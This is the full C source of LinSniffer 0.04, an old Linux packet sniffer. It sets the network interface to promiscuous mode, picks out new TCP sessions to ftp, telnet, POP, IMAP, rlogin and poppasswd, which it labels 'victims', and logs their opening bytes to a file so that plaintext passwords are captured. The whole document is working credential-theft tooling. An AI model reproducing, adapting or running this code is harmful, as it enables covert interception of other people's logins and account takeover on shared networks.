/* LinSniffer 0.04 halflife@saturn.net medulla@infosoc.com */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include int openintf(char *); int read_tcp(int); int filter(void); int print_header(void); int print_data(int, char *); char *hostlookup(unsigned long int); void clear_victim(void); void cleanup(int); struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char buff[8192]; }ep; struct { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; int bytes_read; char active; time_t start_time; } victim; struct iphdr *ip; struct tcphdr *tcp; int s; FILE *fp; #define CAPTLEN 512 #define TIMEOUT 30 #define TCPLOG "tcp.log" /********************************************************************* Open a raw socket, set up promiscuous mode, and return a file descripter to be used for reading. Accepts a argument for the device to open, but right now this is not user specifiable. *********************************************************************/ int openintf(char *d) { int fd; struct ifreq ifr; int s; /* open sock_packet connection, protocol 6 (tcp) */ fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); if(fd < 0) { perror("cant get SOCK_PACKET socket"); exit(0); } /* get flags for eth0 */ strcpy(ifr.ifr_name, d); s=ioctl(fd, SIOCGIFFLAGS, &ifr); if(s < 0) { close(fd); perror("cant get flags"); exit(0); } /* set promiscuous flag */ ifr.ifr_flags |= IFF_PROMISC; s=ioctl(fd, SIOCSIFFLAGS, &ifr); if(s < 0) perror("cant set promiscuous mode"); return fd; } /******************************************************************* Read a packet, pass it through the filter, and if the filter says it is ok, return the number of bytes read. *******************************************************************/ int read_tcp(int s) { int x; while(1) { x=read(s, (struct etherpacket *)&ep, sizeof(ep)); if(x > 1) { if(filter()==0) continue; x=x-54; if(x < 1) continue; return x; } } } /********************************************************************* Filter packet. If you need to modify the program, this is what you will probably want to modify. It is a simpleminded filter to issolate interesting packets. Returns nonzero if the packet is OK. *********************************************************************/ int filter(void) { int p; p=0; /* if not tcp, chuck it! */ if(ip->protocol != 6) return 0; if(victim.active != 0) if(victim.bytes_read > CAPTLEN) { fprintf(fp, "\n----- [CAPLEN Exceeded]\n"); clear_victim(); return 0; } if(victim.active != 0) if(time(NULL) > (victim.start_time + TIMEOUT)) { fprintf(fp, "\n----- [Timed Out]\n"); clear_victim(); return 0; } /* logging ftp, telnet, pop?, imap2, rlogin, poppasswd */ if(ntohs(tcp->dest)==21) p=1; /* ftp */ if(ntohs(tcp->dest)==23) p=1; /* telnet */ if(ntohs(tcp->dest)==110) p=1; /* pop3 */ if(ntohs(tcp->dest)==109) p=1; /* pop2 */ if(ntohs(tcp->dest)==143) p=1; /* imap2 */ if(ntohs(tcp->dest)==513) p=1; /* rlogin */ if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ if(victim.active == 0) if(p == 1) /* if we got a syn, a good port, and no session is active... */ if(tcp->syn == 1) { victim.saddr=ip->saddr; victim.daddr=ip->daddr; victim.active=1; victim.sport=tcp->source; victim.dport=tcp->dest; victim.bytes_read=0; victim.start_time=time(NULL); print_header(); } /* check if this is the correct session */ if(tcp->dest != victim.dport) return 0; if(tcp->source != victim.sport) return 0; if(ip->saddr != victim.saddr) return 0; if(ip->daddr != victim.daddr) return 0; /* if we got a rst close the session */ if(tcp->rst == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [RST]\n"); clear_victim(); return 0; } /* same for fin */ if(tcp->fin == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [FIN]\n"); clear_victim(); return 0; } /* guess everything is ok */ return 1; } /********************************************************************* This is the header we print when we get a new connection. Just prints important information like src/dst ports and ip addresses *********************************************************************/ int print_header(void) { fprintf(fp, "\n"); fprintf(fp, "%s => ", hostlookup(ip->saddr)); fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest)); } /********************************************************************* This function is basically the code from sunsniffer. It is taken from the PR_DATA macro. The old code wouldnt print control characters which are legal as passwords. Problem reported by snoninja. *********************************************************************/ int print_data(int datalen, char *data) { unsigned char lastc=0; victim.bytes_read = victim.bytes_read + datalen; while(datalen-- > 0) { if(*data < 32) { switch(*data) { case '\0':if((lastc=='\r') || (lastc=='\n') || lastc=='\0') break; case '\r': case '\n':fprintf(fp, "\n : ");break; default:fprintf(fp, "^%c",(*data + 64));break; } } else { if(isprint(*data)) fputc(*data, fp); else fprintf(fp, "(%d)", *data); } lastc=*data++; } fflush(fp); } /********************************************************************* main function. Sets things up, and then goes into a loop. *********************************************************************/ main(int argc, char **argv) { /* open eth0 if possible */ s=openintf("eth0"); ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); /* set signal handlers, ignore sighup, other signals call cleanup() */ signal(SIGHUP, SIG_IGN); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGKILL, cleanup); signal(SIGQUIT, cleanup); /* REAL dumb argument handler. Any argument means write to stdout otherwise we write to tcp.log. This really needs fixing (TODO) */ if(argc == 2) fp=stdout; /* Try to open log file, exit if we cant */ else fp=fopen(TCPLOG, "at"); if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);} /* zero out the victim struct */ clear_victim(); for(;;) { /* read packet */ read_tcp(s); /* if we have a active connection, write data */ if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); /* flush the buffer (this isnt really needed since we do it now in print_data */ fflush(fp); } } /************************************************************************ Look up a ip address and return its hostname if possible. Otherwise just return its ascii ip address. Uses a static buffer that is overwritten by successive calls. ************************************************************************/ char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr=in; /* do a gethostbyaddr() */ he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); /* if that failed, do a inet_ntoa() */ if(he == NULL) strcpy(blah, inet_ntoa(i)); /* copy it to buffer..hmm, should prob use strncpy, eh? */ else strcpy(blah, he->h_name); return blah; } /******************************************************************* Clear the victim structure setting all important fields to 0 *******************************************************************/ void clear_victim(void) { victim.saddr=0; victim.daddr=0; victim.sport=0; victim.dport=0; victim.active=0; victim.bytes_read=0; victim.start_time=0; } /****************************************************************** This is what we do when we are killed (except with kill -9 since we can't trap that signal). ******************************************************************/ void cleanup(int sig) { fprintf(fp, "Exiting...\n"); close(s); fclose(fp); exit(0); }